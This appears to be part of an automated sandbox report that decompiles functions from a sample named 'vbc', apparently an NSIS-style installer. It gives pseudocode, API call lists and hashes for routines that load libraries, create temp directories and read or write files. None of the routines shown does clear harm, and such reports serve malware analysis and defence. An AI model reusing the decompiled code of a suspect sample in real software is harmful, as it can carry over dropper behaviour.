Associated: 00000004.00000002.680203041.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680205712.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680210866.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680213751.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-4262883142
Opcode ID: 418a87fb760587bef7583f4f3acae06d17b3011fc99645d3e11ea5bfcaa5fca8
Instruction ID: cc98cbd97bba9fac9576f26979179aa346a2ab2dc3c85b14509754d74f2b81c3
Opcode Fuzzy Hash: 418a87fb760587bef7583f4f3acae06d17b3011fc99645d3e11ea5bfcaa5fca8
Instruction Fuzzy Hash: CEF09076B40204FBEB00CF69ED05E9EB7BCEB95750F11803AFA05F7140E6B499648768

Uniqueness

Uniqueness Score: -1.00%

Function 004020D8 Relevance: 4.6, APIs: 3, Instructions: 73
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 60%

			E004020D8(void* __ebx, void* __eflags) {
				struct HINSTANCE__* _t23;
				struct HINSTANCE__* _t31;
				void* _t32;
				WCHAR* _t35;
				intOrPtr* _t36;
				void* _t37;
				void* _t39;

				_t32 = __ebx;
				asm("sbb eax, 0x434fc0");
				 *(_t39 - 4) = 1;
				if(__eflags < 0) {
					_push(0xffffffe7);
					L15:
					E00401423();
					L16:
					 *0x434f88 =  *0x434f88 +  *(_t39 - 4);
					return 0;
				}
				_t35 = E00402DA6(0xfffffff0);
				 *((intOrPtr*)(_t39 - 0x44)) = E00402DA6(1);
				if( *((intOrPtr*)(_t39 - 0x20)) == __ebx) {
					L3:
					_t23 = LoadLibraryExW(_t35, _t32, 8); // executed
					_t47 = _t23 - _t32;
					 *(_t39 + 8) = _t23;
					if(_t23 == _t32) {
						_push(0xfffffff6);
						goto L15;
					}
					L4:
					_t36 = E00406979(_t47,  *(_t39 + 8),  *((intOrPtr*)(_t39 - 0x44)));
					if(_t36 == _t32) {
						E0040559F(0xfffffff7,  *((intOrPtr*)(_t39 - 0x44)));
					} else {
						 *(_t39 - 4) = _t32;
						if( *((intOrPtr*)(_t39 - 0x28)) == _t32) {
							 *_t36( *((intOrPtr*)(_t39 - 8)), 0x400, _t37, 0x40ce50, 0x40a000); // executed
						} else {
							E00401423( *((intOrPtr*)(_t39 - 0x28)));
							if( *_t36() != 0) {
								 *(_t39 - 4) = 1;
							}
						}
					}
					if( *((intOrPtr*)(_t39 - 0x24)) == _t32 && E00403B8C( *(_t39 + 8)) != 0) {
						FreeLibrary( *(_t39 + 8));
					}
					goto L16;
				}
				_t31 = GetModuleHandleW(_t35); // executed
				 *(_t39 + 8) = _t31;
				if(_t31 != __ebx) {
					goto L4;
				}
				goto L3;
			}

0x004020d8
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0x00000000
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0x00000000
0x00402178
0x00402103
0x0040210b
0x0040210e
0x00000000
0x00000000
0x00000000

APIs

GetModuleHandleW.KERNELBASE(00000000,00000001,000000F0), ref: 00402103

Part of subcall function 0040559F: lstrlenW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nspDD94.tmp\System.dll,00000000,00425A20,74EC110C,?,?,?,?,?,?,?,?,?,00403418,00000000,?), ref: 004055D7
Part of subcall function 0040559F: lstrlenW.KERNEL32(00403418,Skipped: C:\Users\user\AppData\Local\Temp\nspDD94.tmp\System.dll,00000000,00425A20,74EC110C,?,?,?,?,?,?,?,?,?,00403418,00000000), ref: 004055E7
Part of subcall function 0040559F: lstrcatW.KERNEL32 ref: 004055FA
Part of subcall function 0040559F: SetWindowTextW.USER32 ref: 0040560C
Part of subcall function 0040559F: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405632
Part of subcall function 0040559F: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040564C
Part of subcall function 0040559F: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040565A

LoadLibraryExW.KERNELBASE(00000000,?,00000008,00000001,000000F0), ref: 00402114
FreeLibrary.KERNEL32(?,?,000000F7,?,?,00000008,00000001,000000F0), ref: 00402191

Memory Dump Source

Source File: 00000004.00000002.680171348.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.680167485.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680176661.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680179731.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680203041.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680205712.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680210866.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680213751.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: MessageSend$Librarylstrlen$FreeHandleLoadModuleTextWindowlstrcat
String ID:
API String ID: 334405425-0
Opcode ID: f19c79c5fba68d9d0d2f2fda6ec06f6b63f6e40353c0f80915a645696cb571d2
Instruction ID: d1cf9917c249e547a3b1759614bc69e8b445b1996c4dbd71fd6f6dd46acd7470
Opcode Fuzzy Hash: f19c79c5fba68d9d0d2f2fda6ec06f6b63f6e40353c0f80915a645696cb571d2
Instruction Fuzzy Hash: 2A21C231904104FACF11AFA5CE48A9D7A71BF48358F20413BF605B91E1DBBD8A82965D

Uniqueness

Uniqueness Score: -1.00%

Function 004015C1 Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E004015C1(short __ebx, void* __eflags) {
				void* _t17;
				int _t23;
				void* _t25;
				signed char _t26;
				short _t28;
				short _t31;
				short* _t34;
				void* _t36;

				_t28 = __ebx;
				 *(_t36 + 8) = E00402DA6(0xfffffff0);
				_t17 = E00405EB7(_t16);
				_t32 = _t17;
				if(_t17 != __ebx) {
					do {
						_t34 = E00405E39(_t32, 0x5c);
						_t31 =  *_t34;
						 *_t34 = _t28;
						if(_t31 != _t28) {
							L5:
							_t25 = E00405AEB( *(_t36 + 8));
						} else {
							_t42 =  *((intOrPtr*)(_t36 - 0x28)) - _t28;
							if( *((intOrPtr*)(_t36 - 0x28)) == _t28 || E00405B08(_t42) == 0) {
								goto L5;
							} else {
								_t25 = E00405A6E( *(_t36 + 8)); // executed
							}
						}
						if(_t25 != _t28) {
							if(_t25 != 0xb7) {
								L9:
								 *((intOrPtr*)(_t36 - 4)) =  *((intOrPtr*)(_t36 - 4)) + 1;
							} else {
								_t26 = GetFileAttributesW( *(_t36 + 8)); // executed
								if((_t26 & 0x00000010) == 0) {
									goto L9;
								}
							}
						}
						 *_t34 = _t31;
						_t32 = _t34 + 2;
					} while (_t31 != _t28);
				}
				if( *((intOrPtr*)(_t36 - 0x2c)) == _t28) {
					_push(0xfffffff5);
					E00401423();
				} else {
					E00401423(0xffffffe6);
					E0040653D(0x441000,  *(_t36 + 8));
					_t23 = SetCurrentDirectoryW( *(_t36 + 8)); // executed
					if(_t23 == 0) {
						 *((intOrPtr*)(_t36 - 4)) =  *((intOrPtr*)(_t36 - 4)) + 1;
					}
				}
				 *0x434f88 =  *0x434f88 +  *((intOrPtr*)(_t36 - 4));
				return 0;
			}

0x004015c1
0x004015c9
0x004015cc
0x004015d1
0x004015d5
0x004015d7
0x004015df
0x004015e1
0x004015e4
0x004015ea
0x00401604
0x00401607
0x004015ec
0x004015ec
0x004015ef
0x00000000
0x004015fa
0x004015fd
0x004015fd
0x004015ef
0x0040160e
0x00401615
0x00401624
0x00401624
0x00401617
0x0040161a
0x00401622
0x00000000
0x00000000
0x00401622
0x00401615
0x00401627
0x0040162b
0x0040162c
0x004015d7
0x00401634
0x00401663
0x004022f1
0x00401636
0x00401638
0x00401645
0x0040164d
0x00401655
0x0040165b
0x0040165b
0x00401655
0x00402c2d
0x00402c39

APIs

Part of subcall function 00405EB7: CharNextW.USER32(?), ref: 00405EC5
Part of subcall function 00405EB7: CharNextW.USER32(00000000), ref: 00405ECA
Part of subcall function 00405EB7: CharNextW.USER32(00000000), ref: 00405EE2

GetFileAttributesW.KERNELBASE(?,?,00000000,0000005C,00000000,000000F0), ref: 0040161A

Part of subcall function 00405A6E: CreateDirectoryW.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\), ref: 00405AB1

SetCurrentDirectoryW.KERNELBASE(?,00441000,?,00000000,000000F0), ref: 0040164D

Memory Dump Source

Source File: 00000004.00000002.680171348.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.680167485.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680176661.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680179731.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680203041.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680205712.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680210866.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680213751.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentFile
String ID:
API String ID: 1892508949-0
Opcode ID: 82ddaba883c43a6ad6c7d32de7d3b1a72e39ab97507aea11bcb184130d63296d
Instruction ID: 910f9ca0e916fbda017ea5bccd1daba2d9720f9cae8b5c5670dceb894c5ef12e
Opcode Fuzzy Hash: 82ddaba883c43a6ad6c7d32de7d3b1a72e39ab97507aea11bcb184130d63296d
Instruction Fuzzy Hash: 3E11D031504110EBCF216FA5CD4099F36A0EF25369B28493BE945B52F1DA3E4A829A8E

Uniqueness

Uniqueness Score: -1.00%

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43
windowCOMMON

Download Yara Rule

C-Code - Quality: 69%

			E00401389(signed int _a4) {
				intOrPtr* _t6;
				void* _t8;
				void* _t10;
				signed int _t11;
				void* _t12;
				signed int _t16;
				signed int _t17;
				void* _t18;

				_t17 = _a4;
				while(_t17 >= 0) {
					_t6 = _t17 * 0x1c +  *0x434f30;
					if( *_t6 == 1) {
						break;
					}
					_push(_t6); // executed
					_t8 = E00401434(); // executed
					if(_t8 == 0x7fffffff) {
						return 0x7fffffff;
					}
					_t10 = E0040136D(_t8);
					if(_t10 != 0) {
						_t11 = _t10 - 1;
						_t16 = _t17;
						_t17 = _t11;
						_t12 = _t11 - _t16;
					} else {
						_t12 = _t10 + 1;
						_t17 = _t17 + 1;
					}
					if( *((intOrPtr*)(_t18 + 0xc)) != 0) {
						 *0x433eec =  *0x433eec + _t12;
						SendMessageW( *(_t18 + 0x18), 0x402, MulDiv( *0x433eec, 0x7530,  *0x433ed4), 0); // executed
					}
				}
				return 0;
			}

0x0040138a
0x004013fa
0x0040139b
0x004013a0
0x00000000
0x00000000
0x004013a2
0x004013a3
0x004013ad
0x00000000
0x00401404
0x004013b0
0x004013b7
0x004013bd
0x004013be
0x004013c0
0x004013c2
0x004013b9
0x004013b9
0x004013ba
0x004013ba
0x004013c9
0x004013cb
0x004013f4
0x004013f4
0x004013c9
0x00000000

APIs

MulDiv.KERNEL32 ref: 004013E4
SendMessageW.USER32(?,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000004.00000002.680171348.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.680167485.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680176661.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680179731.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680203041.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680205712.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680210866.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680213751.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: d8feea9b0bd879c8f8267a4ec85e9a32d700cac98845316580bbb569ce856791
Instruction ID: f98c5e72cab4da6dd47fcf147c12dc0649e5852bd482257a86ca63d172a8b8d6
Opcode Fuzzy Hash: d8feea9b0bd879c8f8267a4ec85e9a32d700cac98845316580bbb569ce856791
Instruction Fuzzy Hash: 0B01F4316202209FE7094B389D05B6A3698E710319F14823FF851F65F1EA78DC029B4C

Uniqueness

Uniqueness Score: -1.00%

Function 00405672 Relevance: 3.0, APIs: 2, Instructions: 32
comCOMMON

Download Yara Rule

C-Code - Quality: 50%

			E00405672(signed int __eax) {
				intOrPtr _v0;
				intOrPtr _t10;
				intOrPtr _t11;
				intOrPtr* _t12;

				_t11 =  *0x434f28;
				_t10 =  *0x434f2c;
				__imp__OleInitialize(0); // executed
				 *0x434fc0 =  *0x434fc0 | __eax;
				E004044E5(0);
				if(_t10 != 0) {
					_t12 = _t11 + 0xc;
					while(1) {
						_t10 = _t10 - 1;
						if(( *(_t12 - 4) & 0x00000001) != 0 && E00401389( *_t12, _v0) != 0) {
							break;
						}
						_t12 = _t12 + 0x818;
						if(_t10 != 0) {
							continue;
						} else {
						}
						goto L7;
					}
					 *0x434f8c =  *0x434f8c + 1;
				}
				L7:
				E004044E5(0x404);
				__imp__OleUninitialize();
				return  *0x434f8c;
			}

0x00405673
0x0040567a
0x00405682
0x00405688
0x00405690
0x00405697
0x00405699
0x0040569c
0x0040569c
0x004056a1
0x00000000
0x00000000
0x004056b2
0x004056ba
0x00000000
0x00000000
0x004056bc
0x00000000
0x004056ba
0x004056be
0x004056be
0x004056c4
0x004056c9
0x004056ce
0x004056db

APIs

OleInitialize.OLE32(00000000), ref: 00405682

Part of subcall function 004044E5: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 004044F7

OleUninitialize.OLE32 ref: 004056CE

Memory Dump Source

Source File: 00000004.00000002.680171348.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.680167485.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680176661.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680179731.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680203041.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680205712.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680210866.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680213751.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: InitializeMessageSendUninitialize
String ID:
API String ID: 2896919175-0
Opcode ID: 373f90d4a1babe4f1a04baa381ba9309e44634cfc63d647d34b32aa976a59a0d
Instruction ID: 6be4ff692d487ef8b3e25caebddd25c5d55207980f196ef2193ccf2f8785d180
Opcode Fuzzy Hash: 373f90d4a1babe4f1a04baa381ba9309e44634cfc63d647d34b32aa976a59a0d
Instruction Fuzzy Hash: B3F0F0765006009AE6115B95A901BA677A8EBD4316F49883AEF88632E0CB365C418A1C

Uniqueness

Uniqueness Score: -1.00%

Function 00401EDE Relevance: 3.0, APIs: 2, Instructions: 25COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,00000000), ref: 00401EFC
EnableWindow.USER32(00000000,00000000), ref: 00401F07

Memory Dump Source

Source File: 00000004.00000002.680171348.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.680167485.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680176661.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680179731.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680203041.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680205712.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680210866.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680213751.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: Window$EnableShow
String ID:
API String ID: 1136574915-0
Opcode ID: 17fdff3635e274bccff740d5b56a6ff11ee3748df7be710f89f234bf033d1564
Instruction ID: ff95e9915c8c9942b49c08d49a5710ecdabad47c7be9b03b7ba0a01474a23479
Opcode Fuzzy Hash: 17fdff3635e274bccff740d5b56a6ff11ee3748df7be710f89f234bf033d1564
Instruction Fuzzy Hash: E7E04872908211CFE705EBA4EE495AD77F4EF40325710497FE501F11D1DBB55D00965D

Uniqueness

Uniqueness Score: -1.00%

Function 0040690A Relevance: 3.0, APIs: 2, Instructions: 22
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040690A(signed int _a4) {
				struct HINSTANCE__* _t5;
				signed int _t10;

				_t10 = _a4 << 3;
				_t8 =  *(_t10 + 0x40a3e0);
				_t5 = GetModuleHandleA( *(_t10 + 0x40a3e0));
				if(_t5 != 0) {
					L2:
					return GetProcAddress(_t5,  *(_t10 + 0x40a3e4));
				}
				_t5 = E0040689A(_t8); // executed
				if(_t5 == 0) {
					return 0;
				}
				goto L2;
			}

0x00406912
0x00406915
0x0040691c
0x00406924
0x00406930
0x00000000
0x00406937
0x00406927
0x0040692e
0x00000000
0x0040693f
0x00000000

APIs

GetModuleHandleA.KERNEL32(?,00000020,?,0040363D,0000000B), ref: 0040691C
GetProcAddress.KERNEL32(00000000,?), ref: 00406937

Part of subcall function 0040689A: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004068B1
Part of subcall function 0040689A: wsprintfW.USER32 ref: 004068EC
Part of subcall function 0040689A: LoadLibraryExW.KERNELBASE(?,00000000,00000008), ref: 00406900

Memory Dump Source

Source File: 00000004.00000002.680171348.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.680167485.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680176661.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680179731.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680203041.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680205712.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680210866.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680213751.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
String ID:
API String ID: 2547128583-0
Opcode ID: c7c26614299f557633109f7ac2ccf4e744cd73af09153470ea8035ac80f12020
Instruction ID: 98bdf7d71c6046f852b78b75196177710d0a141037308efd39b2ac7baa162fea
Opcode Fuzzy Hash: c7c26614299f557633109f7ac2ccf4e744cd73af09153470ea8035ac80f12020
Instruction Fuzzy Hash: 9FE0867390422066D21196745D44D7773A89B99750306443EF946F2090DB38DC31A76E

Uniqueness

Uniqueness Score: -1.00%

Function 0040602D Relevance: 3.0, APIs: 2, Instructions: 16
fileCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E0040602D(WCHAR* _a4, long _a8, long _a12) {
				signed int _t5;
				void* _t6;

				_t5 = GetFileAttributesW(_a4); // executed
				asm("sbb ecx, ecx");
				_t6 = CreateFileW(_a4, _a8, 1, 0, _a12,  ~(_t5 + 1) & _t5, 0); // executed
				return _t6;
			}

0x00406031
0x0040603e
0x00406053
0x00406059

APIs

GetFileAttributesW.KERNELBASE(00000003,004030BD,00443800,80000000,00000003,?,?,?,?,?,0040387D,?), ref: 00406031
CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00406053

Memory Dump Source

Source File: 00000004.00000002.680171348.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.680167485.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680176661.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680179731.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680203041.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680205712.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680210866.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680213751.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: 080dfadfdaad2818d5b04c51cfada36c475993ea7ffea5996e238fb5a0e3a6c4
Instruction ID: 1030bc0f2bf25390ef9c6131bda9d6cfedcac9e68b753c15eded60bf4a570351
Opcode Fuzzy Hash: 080dfadfdaad2818d5b04c51cfada36c475993ea7ffea5996e238fb5a0e3a6c4
Instruction Fuzzy Hash: 5ED09E31254201AFEF098F20DE16F2E7BA2EB94B04F11552CB786941E0DAB15C199B15

Uniqueness

Uniqueness Score: -1.00%

Function 00406008 Relevance: 3.0, APIs: 2, Instructions: 13
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406008(WCHAR* _a4) {
				signed char _t3;
				signed char _t7;

				_t3 = GetFileAttributesW(_a4); // executed
				_t7 = _t3;
				if(_t7 != 0xffffffff) {
					SetFileAttributesW(_a4, _t3 & 0x000000fe);
				}
				return _t7;
			}

0x0040600d
0x00406013
0x00406018
0x00406021
0x00406021
0x0040602a

APIs

GetFileAttributesW.KERNELBASE(?,?,00405C0D,?,?,00000000,00405DE3,?,?,?,?), ref: 0040600D
SetFileAttributesW.KERNEL32(?,00000000), ref: 00406021

Memory Dump Source

Source File: 00000004.00000002.680171348.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.680167485.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680176661.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680179731.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680203041.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680205712.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680210866.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680213751.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: a764032cc0ce64e7f87df91ab84dfb27e8fca44cfd77f22972d2dc2d25b91850
Instruction ID: c979a2e86073268fb5c10017c0603d576bb262e7e1663e1e1b2ee048d1a5e24b
Opcode Fuzzy Hash: a764032cc0ce64e7f87df91ab84dfb27e8fca44cfd77f22972d2dc2d25b91850
Instruction Fuzzy Hash: 34D012725041316FC2102728EF0C89BBF55EF643717014B35F9A5A22F0CB304C638A98

Uniqueness

Uniqueness Score: -1.00%

Function 00405AEB Relevance: 3.0, APIs: 2, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405AEB(WCHAR* _a4) {
				int _t2;

				_t2 = CreateDirectoryW(_a4, 0); // executed
				if(_t2 == 0) {
					return GetLastError();
				}
				return 0;
			}

0x00405af1
0x00405af9
0x00000000
0x00405aff
0x00000000

APIs

CreateDirectoryW.KERNELBASE(?,00000000,00403520,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403810), ref: 00405AF1
GetLastError.KERNEL32 ref: 00405AFF

Memory Dump Source

Source File: 00000004.00000002.680171348.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.680167485.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680176661.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680179731.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680203041.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680205712.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680210866.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680213751.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: a5afa482e644e9a10fedfab033ae5dbb8931bf23a9e1c5533d9f8c1a63861871
Instruction ID: 33feed20cbbf131019f18849f7ccc9358209a8d33535326e0157453b6049084a
Opcode Fuzzy Hash: a5afa482e644e9a10fedfab033ae5dbb8931bf23a9e1c5533d9f8c1a63861871
Instruction Fuzzy Hash: 1BC04C30204501AED6105B609E48B177AA4DB50741F16843D6146E41E0DA789455EE2D

Uniqueness

Uniqueness Score: -1.00%

Function 004060DF Relevance: 1.5, APIs: 1, Instructions: 22
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004060DF(void* _a4, void* _a8, long _a12) {
				int _t7;
				long _t11;

				_t11 = _a12;
				_t7 = WriteFile(_a4, _a8, _t11,  &_a12, 0); // executed
				if(_t7 == 0 || _t11 != _a12) {
					return 0;
				} else {
					return 1;
				}
			}

0x004060e3
0x004060f3
0x004060fb
0x00000000
0x00406102
0x00000000
0x00406104

APIs

WriteFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000), ref: 004060F3

Memory Dump Source

Source File: 00000004.00000002.680171348.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.680167485.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680176661.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680179731.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680203041.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680205712.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680210866.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680213751.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 3dec9289c2e50997f5b7f42c7d661c3d3292bfbb80aff78175bf8fde073ef60e
Instruction ID: d8d859634201a592f38c73999a999f352708a9e59580de02994c407fa40ca669
Opcode Fuzzy Hash: 3dec9289c2e50997f5b7f42c7d661c3d3292bfbb80aff78175bf8fde073ef60e
Instruction Fuzzy Hash: FAE08C3220026AABEF109E60DC04AEB3B6CFB00360F014837FA16E7081E270E93087A4

Uniqueness

Uniqueness Score: -1.00%

Function 004060B0 Relevance: 1.5, APIs: 1, Instructions: 22
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004060B0(void* _a4, void* _a8, long _a12) {
				int _t7;
				long _t11;

				_t11 = _a12;
				_t7 = ReadFile(_a4, _a8, _t11,  &_a12, 0); // executed
				if(_t7 == 0 || _t11 != _a12) {
					return 0;
				} else {
					return 1;
				}
			}

0x004060b4
0x004060c4
0x004060cc
0x00000000
0x004060d3
0x00000000
0x004060d5

APIs

ReadFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000), ref: 004060C4

Memory Dump Source

Source File: 00000004.00000002.680171348.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.680167485.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680176661.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
